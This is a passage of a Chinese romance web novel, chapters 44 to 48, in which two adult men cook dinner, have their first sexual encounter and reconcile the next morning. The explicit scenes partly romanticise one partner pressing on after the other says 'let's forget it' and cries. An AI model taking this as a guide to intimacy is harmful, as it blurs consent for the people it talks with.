席殃摇摇头。
片刻后,他声音沉了很多:“明明说好了要追你,但我总是很忙,其实什么也没做,小圆……”
“你很会亲。”
“摸起来很舒服。”
“人长的好看。”
沈垣之目视前方,没什么语气地打断道:“我们都这么大年纪了,还想怎么追?”
“感受到你的心意就够了,”他语气平静,说的话却很甜:“反正到最后还是要和你在一起。”
第45章 第 45 章 “我想要。”
下班高峰期已过, 路边依旧车水马龙,不远处的高楼大厦亮起了灯,隔着车窗, 小贩叫卖的声音隐约传了进来,衬得车内更加寂静无声。
车身停在红绿灯路口,沈垣之直视着前方跳跃的数字, 心里打起了鼓,他从没想过自己会说这样的话,毕竟不久前,沈垣之还曾让席殃多追追他, 今天就主动露了老底。
可沈垣之当时的心情是认真的, 此刻的心情亦是,从他重新见到席殃的第一眼,为他情绪波动的每个瞬间,沈垣之就很清楚, 到最后一定还是会和他在一起。
至于为什么要让席殃多追追,大概是正如席殃所说的那样,他缺乏安全感, 所以享受席殃追他的过程, 但今天因为黎炫, 沈垣之好像有点想明白, 安全感是相互的。
自尊心强的席殃愿意放下身段, 为他伏小做低,那他也愿意在真真切切体会到席殃诚意的同时,也稍微让席殃感受到他的心意。
不过现在的情况有些出乎他的意料。
瞥见席殃微红的眼尾,沈垣之愣了一下,一时分不清他是哭了还是被红灯映出来的, 没等他开口询问时,席殃的声音传了过来。
“我们改天再吃小锅米线好吗?”
声音很闷,听不出什么情绪。
这话说的前言不搭后语,绿灯亮起,沈垣之松开刹车,始料未及地“啊?”了一声:“有什么指示吗,领导?”
“我想回家,”席殃声音闷闷,仔细细听时有些鼻音:“回家给你做饭。”
趁着空档,沈垣之看了席殃一眼,瞥见他眼尾的湿润后,心一顿,随后很轻地抿了一下唇:“也行。”
“可我家里没菜。”
“去超市吧。”席殃声音很快恢复了正常,“我给你复刻出一份小锅米线来。”
“真的假的?”沈垣之唇边带着笑,故意不相信道:“你会做?”
“会做。”
沈垣之还想再说什么调动起席殃的情绪,下一秒,席殃沙哑的声音就从身边传了过来:“做完再做//爱。”
踩了一脚刹车,怀疑是自己耳朵出了问题的沈垣之一愣,略带惊诧道:“你说什么?”
“等你吃完,”席殃变了一下措辞,语气依旧镇定:“我要和你做。”
——
做什么?
做什么??
做什么?!
目视席殃的背影,沈垣之在心里发出了三连问,语气一句和他比一句更惊诧,要是他没听错,席殃的意思是,要那个。
这么突然?
难道就是因为他说了那句话?
沈垣之觉得有必要提醒一下席殃,他说那句话的意思是,大家都是成年人了不用玩小孩那套费心思追他,而不是不用追他。
怎么就突然到那件事上了,追人的步骤一个都不准少好吗?!
小锅米线也不用做了!
沈垣之恼羞成怒地想。
“买这个好吗?”
思绪混乱之际,恢复到正常状态的席殃突然朝他举起了一个锅。
他虽然没了醉态,衣服穿得很整洁,但不起眼的眼尾仍有些红,心口泛起一丝酸意,沈垣之几乎是瞬间地点了点头:“可以。”
“那就这个。”
说完,席殃便让一边的导购员将锅包了起来,回过神来的沈垣之看了眼价目表,眼睛睁大,他倒吸了一口凉气。
趁着导购员没注意到他,沈垣之立马凑在席殃身边小声道:“你疯啦,四位数的锅!”
“你的钱是大风刮来的吗?”
席殃看了他一眼,唇边渐渐勾起一抹笑,沈垣之见状一愣,语气不自觉地放轻了些:“我平时不做饭,买这么贵的锅也没什么用……”
“我做。”
席殃很轻地打断,他语气很平静,眼眸却异常认真:“我以后天天给你做饭吃。”
沈垣之很想说你那么忙,我才不信,但在和席殃对上视线的下一秒,他的心口突然被什么东西填满了,拒绝的话就说不出口了。
沈垣之身板放松了些,一双漂亮的眼眸噙上了几分笑,很小声地揶揄道:“受刺激了?”
“有没有搞错啊,席殃,”声音拉得很长,沈垣之笑眼盈盈:“我就说了一句话而已。”
灯光下他眼眸里似乎噙着微光,整个人没了平时的疏离,和说那句话是一样,浑身散发着漫不经心的甜意。
席殃仅是低头看了他一眼,眼眸就瞬间涌动万分,他点了点头,声音沙哑得不像话:“刺激得有点严重,所以你现在最好别撩拨我。”
好久没听到席殃用这种语气和他说话了,沈垣之愣了一下,唇边的笑意更深了些。
之后席殃就一言不发地开始挑选厨房用品,上到油烟机,下到吃饭的筷子他通通买了一套,眼看着他还要买调料杯,沈垣之这才哭笑不得地伸手拦住了他:“别买了。”
席殃回头看了他一眼。
见他一脸茫然,沈垣之小声道:“家里都是好好的,你能不能精打细算过日子?”
“能,”席殃眼眸瞬间一沉,反客为主地抓住了他的手腕:“那不买了。”
“麻烦您将已经包好的送到平和小区。”
“就只要锅。”
手腕被拽着,顶着导购员朝他们投来视线,沈垣之说了声抱歉:“对不起,其他的我们还需要再商量商量。”
导购员闻言连忙摇了下头:“没关系,您男朋友选的这些我们还没来得及包起来。”她语气很轻,朝沈垣之确认道:“您确定除了锅之外其余暂时不需要是吗?”
话刚落音,身旁的席殃便很轻地笑了一下。
意识到导购员说了些什么,忍着耳尖泛起的温度,沈垣之故作镇定地点了一下头:“是的,麻烦您了。”
买完锅之后,两人直奔生鲜区。
与此同时,沈垣之发现席殃唇边依旧挂着笑,他本来是该恼羞成怒的,但和席殃对上视线后,心里的怒气被羞怯很快取代了。
男朋友。
默念这个称呼,沈垣之偏过头,眼眸里很快地噙上了笑意。
沈垣之还是在下班后第一次来超市,他平时一般都是在公司解决晚餐,偶尔忙起来就不吃,要是饿了的话就下楼去小区超市里随便买点东西充充饥。
尤其在今年,他几乎没在工作日来过超市。
因此在看到超市门口人山人海时,他小小地惊诧了一下:“这么多人?”
“抢鸡蛋。”身后的席殃及时接话。
沈垣之皱皱眉,他顺着源头望去,果真在台上看到了许多鸡蛋:“十块一板。”
他对这个一窍不通:“一板多少个?”
“二十四个。”
“这么多?”沈垣之跃跃欲试:“那真可以抢一下。”
席殃闻言轻轻笑了下:“想要?”
沈垣之扭头看他,轻哼了一声,语气里是藏不住的亲呢:“我也想呀。”
目光缓缓下移,沈垣之挑了一下眉,不知死活地逗着人:“但是要排这么长的队,我这不是怕你等不及吗?”
话刚落音,席殃呼吸瞬间一怔。
下一秒就抵着沈垣之的肩膀,伸着双臂护着他往里走,在沈垣之愈发明显的笑意里,他没了往日的平静,有些压不住声音地开口:“快点买菜。”
“嗯。”沈垣之笑着配合道:“快点。”
席殃眼眸更沉了。
两人穿过门口排队的人群,径直来了菜品区,还没等沈垣之看清琳琅满目的菜品席殃就很快买齐了西红柿,瘦肉沫,豌豆尖,韭菜等等小锅米线需要的配料。
眼疾手快到几乎没怎么考虑,沈垣之心里渐渐升起了疑惑,就像是他做过很多次一般。
没等他开口问,席殃便提着大包小包的东西将沈垣之亦步亦趋抵到了结账处,生怕他跑了似的。
沈垣之有些想笑,但看到席殃在柜台边面无表情拿了两盒计生用品后就笑不出来了。
好像是认真的。
双目对视,撞进席殃那双深眸时,沈垣之呼吸一怔,火燎似的立马移开了视线。
真的是认真的。
沈垣之心乱了几拍。
他不是没想过和席殃做档子事,以前读书的时候就想到不得了,现在尝了甜头后更是一点就着,而且不久前他都把话说到那种程度上了,发生关系也是自然而然的事。
可沈垣之心里就是很慌。
没做过,不太敢,怕疼,而且席殃今天看上去很凶。
沈垣之看了眼副驾驶上沉默不语的席殃,腰都软了下来,心想要不求饶吧,说不定能择期进行呢,可他转念又一想,怕什么,他俩还没正式在一起,难道席殃还能强迫他不成。
一想到这,底气瞬间就足了起来。
这份底气尤其是在回到家后更加发挥到了极致,熟悉的家给他带来巨大的安全感,脱下西装外套的沈垣之懒洋洋地趴在沙发上,听着厨房里传来“咕噜噜”的声音,闻着满屋的飘香味,他心里安定了许多。
确定席殃不会狼性大发把他这样那样后,沈垣之慢慢悠悠、假装很不在意地悄悄溜到了厨房门口。
拉开厨房门,入目是席殃的背影。
席殃的外套刚进门就脱下来了,和沈垣之那方方面面都较小的外套一起挂在玄关处,脚下是他从自己家里带来的拖鞋——不再是一次性的。
和往日整洁的衬衣不同,席殃身上的这件衬衣很皱,是沈垣之不久前在车里弄皱的,他被席殃牵着手从扣子的缝隙里摸过他结实的腹肌。
自上而下,能摸的地方全摸了。
想到这,那灼热的手感和肌肤相亲的气息不由分说地卷土重来,沈垣之喉结一滚,几乎是瞬间起了反应。
没等他往回走,和他心有灵犀似的席殃突然回过了头,双目对视,交织的视线在空气里似乎带上了电,沈垣之没来由地头皮发麻。
“把门打开,”关了火,席殃声音很轻:“我端出去。”
沈垣之很快“嗯”了声。
两人一前一后来到了餐桌旁,坐下来后席殃很自然替他盛米线,替他夹菜,表现得和平日没什么区别。
早就饥肠辘辘的沈垣之很快就放下了戒备,他鼓起腮帮子吹了吹冒热气的米线,有些迫不及待地吃了进去。
西红柿和小米辣中和得酸辣适宜,米粉也煮得不软不硬,甚至连口感都和沈垣之最喜欢吃的那家餐馆没什么区别,他惊讶地睁大了双眼:“你是不是偷偷拜师学艺了?”
席殃对他笑了笑,尾音有股说不出的沙哑:“好吃?”
沈垣之点了下头:“很好吃。”
“那就好。”席殃喝了口温水。
沈垣之一开始还能和席殃搭几句话,后来他实在是太饿了,便埋着头专心致志地吃了起来,等到一大锅米线见了底,他才放下筷子:“不吃了。”
看着他红润的嘴唇,席殃眼眸一沉,他很快站起身,将锅碗筷子端进了厨房。
“要不要帮忙?”沈垣之问。
“不用。”
听到席殃拒绝后,吃得太撑的沈垣之便来回在客厅里踱步,走了好几圈后又跑到了大阳台,大阳台的灯不知道什么坏了,尝试几次无果后沈垣之只好放弃了。
攀在栏杆旁,一阵晚风适宜地飘了过来,阳台旁的植物被吹得沙沙作响,花香顿时弥漫在这一方小小天地,在一片黑暗中,沈垣之眯上了眼。
休息了不知道多久,直到没有听到厨房里传来水声后,沈垣之才回过神来,他刚想转身,便很快被人从身后抱住了。
灼热的气息立马涌上了沈垣之的耳侧,还在发饭晕的沈垣之没反应过来,在席殃抱上他腰的瞬间,腿下意识就软了:“席殃……”
“是我。”席殃低低地“嗯”了声,压着声音在他耳旁问:“吃撑了?”
耳边若有若无地亲吻让沈垣之立马就起了反应,他呼吸一重,撑在栏杆上的手指轻轻攥紧,故作镇定地应了声:“有点。”
“我帮你揉揉。”
话刚落音,一只手就隔着布料摸上了他的肚子,像是怕弄得他不舒服,席殃动作很轻,揉了一下很快又松开,沈垣之的呼吸随之一重一轻,片刻后整个人呼吸都乱了:“不舒服。”
知道今晚逃不过,沈垣之倒也接受得快。
他红着眼偏头亲了一下席殃的下巴,腾出手握上了席殃放在他肚子上的手,双目对视下,带着他往衬衫下摆划了进去:“伸进去摸。”
没有了布料的阻拦,肌肤相触的那刻,席殃深喘了一声,放在腰间的手骤然用力,颈后落下一个又一个不受控制地吻:“小圆……”
“我想要。”
被席殃这声喘得几乎头皮发麻,沈垣之完全没了之前的壮志豪言,心里想着席殃想要那就给他,反正也是迟早的事。
但被带着摸到那庞然大物时,他眼眸一颤,猛地收回了手,理智瞬间回归,颤声道:“要不还是算了吧。”
被甩开手的席殃轻轻笑了,用唇蹭着沈垣之敏感的耳朵,他哑着声音喊沈垣之宝宝,又近乎诱哄般说求求他了。
沈垣之摇摇头:“我求求你了。”
“我会死的。”
席殃闻言动作顿了一下,亲了亲他的侧脸,哑声道:“那你喊声好听的。”
沈垣之有些神智不清,心想只要不被//c,喊什么都行:“你想听什么?”
试图和他商量。
“你自己想。”席殃咬他的耳尖。
沈垣之让他别亲了,脑子里突然冒出导购员的话,他试探地哼了声:“男朋友。”
席殃眼眸一沉,很重地蹭了他一下,哑声道:“不是这个。”
沈垣之想给他两拳,但此刻又不得不低头,在试探着喊了“宝宝,席殃,男朋友”等等一系列称呼席殃都不满意后,沈垣之不干了。
“滚开。”他恼羞成怒道。
席殃立马掐着他的下巴吻了下去,唇齿交融,沈垣之的火气被亲的一干二净,思绪混乱之际,席殃低声提醒他:“你在短信里经常喊我什么?”
沈垣之一愣,在席殃的注视下,脑海里突然灵光一闪,但他实在不想说,支支吾吾想耍赖。
席殃趁着眸将他翻了个身,他一挣扎便低头亲他,沈垣之被亲着很快就没了脾气,双目对视,在席殃越发深沉的视线下,沈垣之喊了声:“哥哥。”
耳尖猛地一红,沈垣之故作镇定道:“我喊了……”
话未落音,席殃突然将他拦腰抱起,在一片惊慌声中,沈垣之被扔到了沙发上。
第46章 第 46 章 “沈垣之越哭,他就越来……
看着俯身压过来的席殃, 沈垣之还有什么不明白的,他手肘撑着沙发往后退了退,气急败坏地骂道:“滚开!”
只是这语气实在是毫无威慑力, 又是被亲,又是被摸,嘴唇被亲得又红又润, 白皙的脸庞随着凌乱的呼吸泛起潮红,宽大的居家服被揉得不像样,领口扯得很开。
自上而下,一览无余。
席殃呼吸一怔, 左腿很快跨上了沙发。沈垣之当时买沙发的时候没想过家里还会有第二个人, 所以选了个单人沙发。
两人肌肤相触的瞬间,呼吸都停了,沈垣之挣扎过,结果这个小沙发不争气, 连一个给他逃生的机会都不留。
被压得动弹不得,稍微一动席殃就在他耳边喘,喘得又骚又低, 不出一会儿, 沈垣之就受不了了。
“你还要不要脸。”
翻来覆去也就几句这样骂人的话。
而且说这话的时候, 沈垣之的双手已经被带着搂住了席殃的脖颈, 双目对视, 满眼的爱意几乎都藏不了。
席殃闻言轻哼了声,眼神很沉,说出来的花很不要脸:“你多骂几句。”
“你越骂我就越……”他语气一顿,凑在沈垣之耳边,低低地说了一个字。
沈垣之闻言眼神一变, 盯着席殃此刻和往日道貌岸然完全不一样的脸,喉结滚了滚:“你真是……”
“真是什么?”席殃追问。
沈垣之用腿蹭了蹭他并不说话,只是在席殃呼吸变重时挑衅地勾了一下唇。
席殃眼神猛地一变,低头亲了下去。
不在满足于单纯的亲吻,舌尖顶得生疼也难以抑制喜爱,抱到窒息也难以弥补心头的控制欲,仿佛只有彻底的占有,直到大汗淋漓、精疲力尽,才能崭露出几分对彼此热烈又厚重的爱意。
所以在席殃解开他扣子的时候,沈垣之没再挣扎,他仰起头让席殃亲吻他。
头顶的台灯发出暖黄的灯光,安静的房间里只有两人的凌乱的呼吸声,席殃的手指像有魔力,稍稍一动,沈垣之就像只虾米弓起了背。
席殃很快就笑了。
用抱枕挡在眼前的沈垣之听到这笑声立马露出一双眼睛来,只见席殃正笑眼盈盈地看着他,眼眸里全是占了多大便宜的爱意。
“你哪里都不能碰。”
边说着,席殃边求证似的攥了他的腰,不出意外,沈垣之又情不自禁地抖了一下。
“怎么办。”席殃凑过来亲了亲他的眼睛,声音很轻:“不想欺负你了。”
沈垣之闻言挑了挑眉,语气生硬:“说这话前先把你的手从我屁股移开。”
席殃笑出了声,爱不释手地亲他的眉毛,眼睛,又扯开挡在他面前的抱枕,亲他的鼻尖,两侧脸颊,最后落在他的唇边。
很轻地点了一下他的唇:“我说认真的。”
被这样温柔的亲着,沈垣之全身都快化了,他“嗯?”了一声,声音又轻又软。
“我只是太开心了,”席殃将他抱得更深了:“除了想弄//你之外不知道怎么表达才好。”
沉默片刻后沈垣之搂上了他的背,轻轻拍了拍,一本正经道:“承认你被我迷倒了很难吗?像我这样完美的人你不想要才奇怪吧。”
席殃立马笑了。
随后很温柔的看着他:“我喜欢你。”
他的眼神太认真,沈垣之有些不好意思的“嗯”了声:“知道了。”
“想当你男朋友。”
沈垣之睫毛一扫,片刻后抬了下眼皮:“本来就是。”
话刚落音,席殃很快又亲了下来,亲的很轻,四周都照顾到,亲得无比珍重,像是怕弄疼了人,之后他将沈垣之搂得更紧了些。
不出一会儿,沈垣之就感觉脖间一片湿润。
他心口一紧,轻轻摸了摸席殃的头,等到席殃平复下来,他开口道:“我发现你压根就没我想的那么能担得住事。”
席殃没说话,只是将他抱得更紧了。
“席殃,我呼吸不过来了。”沈垣之攥着他的头发小声哼哼:“你还不如c//我呢,总比压死我强。”
“别说了。”席殃哑声道:“我好不容易才忍……”
“谁叫你忍了。”
呼吸一怔,席殃抬头看向沈垣之。
“你要是不行就让我来。”
——
“等,等一下。”
浴室里雾气弥漫,两道交织在一起的身体给本就带着温度的密闭空间增添了令人发臊的热意。
清甜的沐浴露萦绕在鼻息间,沈垣之双手撑在墙壁上,有些难受地蜷缩着手指,他轻轻喘着气,眼尾噙上了一层湿意。
低头,映入眼帘的是席殃被水浸湿的头发。
被喜欢的人唇齿对待,本就思绪混乱的沈垣之头皮都快炸开了,他躲不开,心口被吻的接连发慌,不出一会儿就彻底崩溃:“行了行了行了……”
又被亲了一下,席殃很快站起身,他从背后抱了过来,肌肤一接触,沈垣之就像是过了电般打着颤,没等他缓过来,席殃便偏头笑着亲了亲他。
……
席殃见他将唇抿得紧紧的,眼眸很快就染上了笑意,捧着他的脸安抚的轻轻吻着,吻到耳朵里只剩下舌尖相触的水声,吻到沈垣之晕头转向,彻底放下了防备。
……
沈垣之都快疼哭了。
原来干这事一点都不好,以前还总惦记,现在终于不惦记了。
从浴室抱到了卧室,一路上沈垣之都在哭,求饶的话他说不出口,便只能一下一下抽着气,席殃发了疯,这时候也不装什么温柔体贴了,沈垣之越哭,他就越来劲。
实在是受不了,沈垣之扇了他一巴掌后老实了。
……
老实了两分钟。
没出一会儿,沙发不干净了。
……
“阳台门关了没有?”
黑漆漆的卧室里,缩在某人怀里的沈垣之艰难地睁开了眼,话一说出来,他就被自己沙哑的声音吓了一大跳。
意识到这是不久前喊哑的,没等沈垣之开始生气,一杯温水很快送到了嘴边。
“关了。”
举着水杯看着沈垣之喝水,席殃眼眸含笑,声音轻轻的:“揉揉?”
沈垣之瞥了他一眼,将水喝完后轻哼了声:“好酸,你要揉久一点。”
说完便主动滚到了席殃的怀里。
他们洗了澡,席殃现在什么都没穿,练得很漂亮的胸肌,腹肌十分扎眼,沈垣之爱不释手的摸着,感受着席殃的温度,抱上去他就像个大暖炉,而且还香香的。
闭着眼蜷缩在席殃怀里,揉在腰间的手很轻,力度刚刚好,体力消耗殆尽的沈垣之很快有了睡意。
结果他刚眯了一会儿,又感觉席殃气息有些不对劲,几乎是条件反射,沈垣之立马睁开了眼,没等他退开,席殃很快将他搂得更紧了些:“不弄你。”
沈垣之闻言才放轻了下来:“三次了,”说完他蹭了蹭席殃的脖颈,声音很闷:“你体力怎么这么好,我真怕了你了。”
“练出来的。”
沈垣之勾了一下唇,将人抱得更紧了:“明天带我去练。”
“嗯。”
席殃笑了一下,替他揉腰的手没停,他亲了亲沈垣之疲倦的眼睛,轻哄道:“困了吧,睡吧。”
有了肢体接触就是不一样,沈垣之脾气也好了很多,他轻轻“嗯”了声,突然想到了什么,他突然呆呆地睁大了双眼:“润/滑/剂你哪来的?”
席殃一愣,唇边很快噙上了笑:“我说了你会生气。”
“我不生气。”沈垣之偏头看他:“你说。”
席殃故意逗他:“真不生气?”
“真不生气。”像是想到了什么,沈垣之皱皱眉:“你要是不说清楚是哪来的,今天这个气,我是一定要生的。”
一副吃大醋的神情。
席殃被他可爱到了,搂着人亲了又亲,直到沈垣之受不了咬了他一口,没太用力,但少不了疼。
“说。”作势又要咬他。
席殃摸着嘴巴喊疼,明知道他是骗人的,但沈垣之还是绷不住笑了,凑过去轻轻亲了一下他喊疼的地方。
席殃眼眸一亮,很快捧着他的脸,蹭了蹭他的鼻尖:“我男朋友怎么这么可爱。”
太黏糊了。
沈垣之心里很开心,眼眸甚至都是亮晶晶的,但表面上还是故作镇定地凶他:“快说。”
“酒店里。”席殃声音很轻:“客房服务。”
“你怎么忘的这么快?”
经过席殃这一提醒,沈垣之很快就想起来了,他还记得当初尴尬到他转身就跑,没想到席殃还把这东西带回来了。
真不害臊。
正在心里骂着席殃,便听见席殃说了一句:“还没我嘴巴好用,早知道不带回来……”
想到席殃跪下来的那幕,沈垣之脸一红,连忙捂住了他的嘴,他恼羞成怒道:“不准说这个。”
席殃笑着点了下头。
沈垣之这才松开,翻旧帐道:“你当时还装呢,说什么不让我碰,现在在干嘛?”
“干//你。”席殃语气平静道。
沈垣之“啧”了一声:“滚啊。”
“那时候就想着要追你了。”席殃低声说:“可我谋划的在你这都不管用。”
边说着边轻轻蹭了下他的鼻尖。
沈垣之哼了一声,心想那当然啦,管你是放长线钓大鱼还是别的什么,怎么追,什么时候追到手,节奏都得由我掌控。
但他实在太困了,不想说话。
见沈垣之闭上了眼,席殃调整着姿势让他在怀里睡得更舒服些,寂静的夜里,他端详着怀里的人,直到他呼吸均匀才低声说了句:“爱你。”
夜来风凉,席殃正准备起身将窗帘拉上,怀里的人突然抱紧了他,在一阵沉默声中听到他说:“知道了。”
声音闷闷的,是不好意思了。
第47章 第 47 章 “哭声变了味。”……
沈垣之这一晚睡得很熟, 不知道是太累了,还是因为被席殃抱在怀里,罕见地没在中途醒来, 甚至连闹钟都没听见。
他是被席殃叫醒的,准备来说是被亲醒的。
脸上冰冰凉凉的,在梦里的沈垣之还以为是下起了雨, 心想,阳台的植物还没移回来,急着睁开眼睛下一秒对上了席殃的眼。
没反应过来,沈垣之缓慢地眨了下眼。
只见席殃朝他轻轻勾了一下唇, 学他缓慢地眨了下眼睛, 沈垣之也眨了下眼睛,两人对视了许久后,沈垣之还是有些迷茫。
直到席殃凑过来亲了亲他,又噙着笑说“男朋友早上好。”, 沈垣之这才下意识抿了一下唇,哑着声音说了声:“好。”
说完便闭上了眼。
他的被子不久前晒过,闻起来有太阳的味道, 但此时此刻又多了几分不属于他的气息, 沈垣之嗅着这股味道, 混乱的大脑突然清醒。
他猛地睁开了双眼。
没等他反应过来, 看了他许久的席殃忍无可忍地轻咬了他一下, 手扶上了他的腰,席殃声音很哑:“对我这么冷淡?”
“怎么,嫌我我技术太差?”
“还是时间太短。”
席殃双臂紧紧搂着他,眼眸沉沉的,张口就胡说。回过神来的沈垣之越听越想笑, 对上席殃那双含着笑意的眼眸时,他挑了下眉,轻哼了声:“得寸进尺。”
双目对视,席殃眼眸一沉,将他搂得更紧了些。
两人又黏黏糊糊地抱在一团。
“还疼吗?”席殃低头亲了亲他的额头,手在他腰上轻轻揉了揉。
“嗯。”
沈垣之闭着眼贴在他身上,轻轻皱着眉:“说不出来的感觉,酸酸胀胀的。”
“今天你在家休息。”轻轻揉了揉手下的腰,席殃平静地下了决定:“我以后不这样了。”
沈垣之闻言睁开了眼:“不哪样?”又说:“不行,我要上班,那可是我的全勤。”
席殃闻言低头看他。
双目对视,沈垣之轻轻挑了一下眉:“要不是我屁股还疼着,现在肯定还要。”
“我可喜欢了。”
“你以前总不让我来,我以后天天都要。”
“你身材这么好,我要多玩玩。”
席殃闻言忍俊不禁地捏了捏他的脸颊,眼眸里噙满了温柔,沈垣之将他抱得更紧了些,重新闭上了眼:“其实也不是特别疼,我就是想你帮我揉揉。”
席殃了然道:“我知道。”
沈垣之抬头看他:“你知道还说那些……”
“想听你夸我。”
席殃朝他挑了一下眉:“我卖了一晚上的力,你昨天一声不吭,问你舒不舒服不说话只是哭,我只好想办法听听反馈——”
“谁哭了!”沈垣之恼羞成怒地咬了他一口:“你再敢胡说!”
席殃眉头都没皱一下,伸手揉了揉他的头发。
就这一下,沈垣之就被成功顺毛,他低头在刚刚咬的地方轻轻亲了一小口,片刻后,哼哼道:“席殃,我肚子饿。”
“我去把粥端过来。”席殃很快应道:“已经煮好了。”说完便要起身,沈垣之双臂用了力没让他起来:“等会儿再吃,陪我再睡会。”
“你煮的吗?”
见他不急着喝,席殃“嗯”了声,让沈垣之枕在他身上,手自觉地帮他揉腰:“我醒的早。”
沈垣之轻轻勾了一下唇:“那奖励一下。”
席殃眼眸一亮:“怎么奖励?”
表情就很不对劲。
沈垣之“啧”了一声:“你想到哪里了?”接着又说:“低头。”
席殃笑着很快低下了头。
下巴很轻地被用唇蹭了一下,脸也被轻轻捧起,沈垣之笑着开口道:“给男朋友的奖励。”
他语气轻快,尾音轻轻上扬,听上去很甜。
心口一震,席殃的眼眸瞬间沉了下来。
注意到他的表情,沈垣之好笑地蹭了一下他的下巴:“我还想休息一会儿,你帮我看着点时间。”
席殃喘了一口气,随后哑着声音“嗯”了声,将他抱得更紧了些。
被抱的感觉很窝心,尤其是在离上班时间还很充足的情况下,沈垣之用下巴抵着席殃的颈窝,整个人没骨头似的缩在了他怀里。
不出两秒,沈垣之立马睡着了。
等到被席殃再次叫醒时,他皱着眉,对上班的抵触到了极致:“一点都不想上班。”虽是这样说,但还是很配合席殃伸出了胳膊,让他将睡衣脱下,换上干净的衬衣。
席殃闻言笑了笑:“不要全勤了?”
沈垣之闭着眼摇摇头:“不要了。”他语气一顿,轻轻抿了一下唇:“你这样,好像我们以前读书的样子。”
席殃替他扣上衬衣扣子,很轻地笑了一下:“你当我宝宝的时候?”
沈垣之耳尖一红,故作淡定地点了一下头。
“你当时脸色不好。”沈垣之指责道:“给我穿衣服是你的福气,你还不乐意。”
席殃笑了一下:“其实我挺乐意的。”
“嗯?”沈垣之不信的皱眉。
“你那时候软乎乎的,一起床就更软了,”席殃捏了捏他的脸:“知道你不想上学,我就故意掐着时间喊你起床,时间不够你就会找我帮忙。”
“找衣服,找袜子啊。”
“你找不到就‘席殃,席殃’的喊,声音软糯糯的。”
“我当然要装一下,”想到了往事,席殃眼眸里染上了很浓的笑意:“我不帮你,你就主动贴过来亲我,求我……”
沈垣之脸一红,怒骂道:“你这人怎么那么多心眼子呢?”
“没那么多心眼子怎么追你,”席殃搂了一把他的腰,语气很沉:“你就喜欢我对你坏。”
“胡说八道,我就喜欢你的脸而已。”沈垣之大声反驳,没多久又闭上眼,没骨头似的将下巴搭在了他的肩头:“可我现在也不想上班。”
像是想到什么,他叹了口气:“早知道昨天就让黎总给我每个月全勤,就当作封口费了。”
“我现在也知道了,等会儿就帮你要。”边开玩笑,席殃边蹲下来给他套西装裤。
盯着他的头顶,沈垣之唇边的笑容淡了些,在席殃起身替他整理衣服时,他斟酌着开口道:“席殃,虽然我俩在一起了,但我可能不会让太多人知道,比如公司里的——”
“嗯。”席殃语气很轻:“我知道。”
沈垣之心想你知道什么知道,但见席殃没什么意外的表情,心还是揪了下来,没等他说些什么,席殃凑过来亲了亲他的额头:“其实一直想找个机会和你谈谈,但是每次一看到你就只想亲你,很多话就没说出口。”
“你那么聪明,大概察觉到了我的心思,以前我自卑,总想在你身上寻找喜欢我的证明,比如想让你缠着我,最好满心满眼都是我。”
席殃语气顿了一下:“虽然现在也是。”
沈垣之轻轻勾了一唇。
“但又不太一样,”噙着笑看他,席殃语气淡淡的:“要不要公不公开,想让多少人知道,都听你的,比起这些不确定性的因素,我更在乎你。”
席殃很少一口气说这么多话,也很少在沈垣之面前表现出自己的想法,压下心中思绪,他看向席殃:“要是我一直都不跟别人说呢?”
整理好他的领口,席殃诚实道:“那会有点不开心。”
“只是一点。”他强调指出。
沈垣之忍不住笑出了声,压下心里泛起的情绪,他点点头:“知道了。”
“还有什么想说的吗?”
“有。”席殃看了他一眼:“等我一下。”
说完他便走了出去,片刻后席殃手里拿了几样东西过来,在沈垣之略带迟疑的视线下,他将一一将这些放在了他的掌心。
“银行卡,密码是303123,里面是我这些年的积蓄,不是很多,你愿意怎么花就怎么花。”
“护照。”
“车钥匙。”
“这些都交给你了,”席殃认真地开口:“男朋友。”
沈垣之愣了好半天才回过神,他哭笑不得地看了眼手里的“资产”,又看了眼席殃,心口渐渐泛起一阵暖意:“都给我呀?”
“嗯。”
“不怕我全给你花光?”
席殃摇摇头。
压下眼尾的湿意,沈垣之不自然地快速眨了下眼:“等会儿我就全花光。”
察觉到他语气里的情绪,席殃上前抱住了他,低声道:“我爱你。”
沈垣之一愣:“你昨天说过了。”
“今天没说。”
“好吧。”沈垣之没什么气势点了点头,抱了没多久,他突然开口道:“以后你再敢提分手,或者一声不吭地走,我一定不会原谅你。”
声音带着颤。
席殃一愣,立马想要看他,沈垣之扭过头不让他看,可委屈又藏不住:“我想你想到胃都疼了,你怎么才回来呀。”
像小孩子一样,挑最能体现出来的疼处给席殃看,一定要让他知道才行。
压抑了很多年的情绪在此刻突然爆发,沈垣之竟不知道自己有这么多委屈,什么话都说了出来,先是骂席殃王八蛋竟敢和他分手,又骂自己,最后连着黎炫也骂了进去,说工作好辛苦,万恶的资本家呜呜呜。
席殃手忙脚乱地哄,哄到最后,掐着上班时间哄到了床上去,沈垣之的哭声变了味,腰被攥紧,腿被分得很开。
没骂完的话被灼热的唇舌堵在了唇边,一深一浅,张弛有度,满屋春色中,分不清是谁先说好爱你了。
第48章 第 48 章 “谈恋爱可真好啊。”……
事实证明, 人一旦谈起恋爱是真的很黏糊,哪怕是外表看起来再正经不过的两个成年人,差点因为晨间活动而上班迟到的沈垣之面不改色地这样想。
这是第几次了。
虽然上次迟到的场景还历历在目, 可掰着指头算,沈垣之工作了几年,加上今天这次也只有四次, 其中两次都是因为席殃。
不能再这样下去了。
给自己倒了杯温水,沈垣之将它放在一旁很快进入了工作状态。今天是周三,周中要和黎总汇报今日工作事项,下午要去工厂看看新产品的进展情况, 工厂离市区有五十多公里的路程。
一想到这, 沈垣之就叹了口气。
不想上班。
腰疼,腿疼,屁股疼。
手刚往腰间一揉,罪魁祸首就发来了消息。
【席殃:忙不忙, 能不能来你办公室?】
沈垣之有些心虚地往门后看了看,小助理们的办公区在他的办公室外面,平时人来人往十分热闹, 但今天静悄悄的, 沈垣之想, 她们大概是开部门会议去了。
其实来一下也无所谓, 领导偶尔来交代工作嘛, 可沈垣之心里有鬼,他现在一见席殃就忍不住笑,实在有损形象,斟酌再三后回了消息。
【沈垣之:有点,找我有事?】
消息刚发出去, 手机就震了一下。
【席殃:嗯,有正事和你说。】
沈垣之挑了一下眉。
【沈垣之:什么事,我来找你吧。】
席殃很快回复。
【席殃:想了解一下cx-12调节器的配置情况,之前和廖教授聊过,一中新修的教学楼占地面积太广,之前选择的调节器不太适配。】
cx-12比普通的调节器多了几个音频载体,承载的数据更多,但价格相比会更昂贵,所以在绝大数项目里甲方更倾向选择功用一致的普通款。
沈垣之手里头有关这个产品的资料有限,他稍作思索后给席殃回了消息。
【沈垣之:我手里现在也没有,和研发部联系过后等会儿再回你?】
